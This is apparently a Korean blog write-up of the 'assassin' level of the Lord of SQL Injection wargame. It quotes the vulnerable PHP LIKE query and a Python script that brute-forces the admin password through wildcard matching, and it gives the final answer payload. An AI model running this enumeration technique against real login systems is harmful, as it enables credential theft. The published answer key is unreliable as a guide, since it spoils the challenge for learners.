[Solved in under 32 minutes]
벌써 9월에 첫째날이네요.
모의침투 사업에 들어가서 바쁜하루를 보내고 있지만
솔직히 제 길이 맞나 끝까지 의심이 되네요 ㅋㅎㅎㅋㅎ 일단 해봐야 알겠지만
열심히 해보겠습니다!!
가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
일단 코드를 정리하자면 select id 를 뽑아내는데 그 중 pw인자를 받고 like로 맞는거를 뽑아내서 echo "누구누구" 인사하는 그런 형식이네요.
그런데 여기서 id가 admin이면 깨는 방식입니다!
당장 보았을 때 엥 like 있으니까 와일드카드 써서 그냥 x%하면 되는거 아닌가 생각해서 바로 해봤다.
추가로 와일드카드는
_ = 1개
% = 여러개
인데 예를들어서 비밀번호가 test라고 하자 이랬을 때 와일드카드를 사용하면
t% == test
te__ == test
_e% == test
__s_ == test
등 여러가지가 된다.
일단 첫번째 자리는 노가다로 해보자

a ~ 9 까지 해봤는데 마지막에 나왔다 씹
그런데 admin은 나오지 않았다.
뭐지? 내가 잘 못 알고 있는건가 싶다가 아!? 혹시 첫번째 자리의 admin이랑 guest가 9로 같이 시작하는데 guest의 우선순위가 더 높아서 guest가 나오는건가 싶었다!!
그래서 바로 하나씩 대입하는건 첫째자리로 족하니 코드를 짰다

import requests
import re
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookie = {'PHPSESSID': 'h4442q2qkb68m087g6hgftoqc8'}
charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'
guest_pw_len_result = ''
admin_pw_len_result = ''
print("PW 길이 찾기 요이땅!")
for i in range(1, 33):
payload = '_' * i
response = requests.get(url, params={'pw': payload}, cookies=cookie)
if re.search(r'hello admin', response.text, re.IGNORECASE):
print(f"admin PW 길이 찾았다 임마!! 길이 : {i}")
admin_pw_len_result = int(i)
break
elif re.search(r'hello guest', response.text, re.IGNORECASE):
print(f"guest PW 길이 찾았다 임마!! 길이 : {i}")
guest_pw_len_result = i
elif i == 32:
print("guest랑 admin PW 길이 같다!")
admin_pw_len_result = int(guest_pw_len_result)
found_pw = ['_'] * admin_pw_len_result
for j in range (admin_pw_len_result):
for char in charset:
text_pw = found_pw.copy()
text_pw[j] = char
payload = ''.join(text_pw)
response = requests.get(url, params={'pw': payload}, cookies=cookie)
if re.search(r'hello admin', response.text, re.IGNORECASE):
found_pw[j] = char
print(f"찾았다 임마!!! {j+1}번째 : {char}")
break
print(f"admin PW : {''.join(found_pw)}")
코드를 간단하게 설명하자면 1~33자리의 비밀번호 길이를 유추하고 그 이후에 admin으로 로그인하면 'hello admin'이 출력되니 그 때의 값을 가져와라! 값을 못 가져오면 기본 default를 와일드카드은 _로 넣는것이다.
그리하여

__2efd10
역시나 첫번째 값이 똑같았기때문에 우선순위가 더 높게 설정된 guest가 뽑힌 것이었다.
이거를 pw에 삽입하면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?pw=__2efd10
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
사실 이 문제는 like의 와일드카드를 이용한 문제이기 때문에
__2% 등 답은 여러가지이다!
자기 입맛대로 하면 된다.
오랜만에 문제 풀어서 재밌지만 내일이 두렵군 여하튼
LoS(Lord of SQL Injection) Assassin Write-up
이상 보고 끝!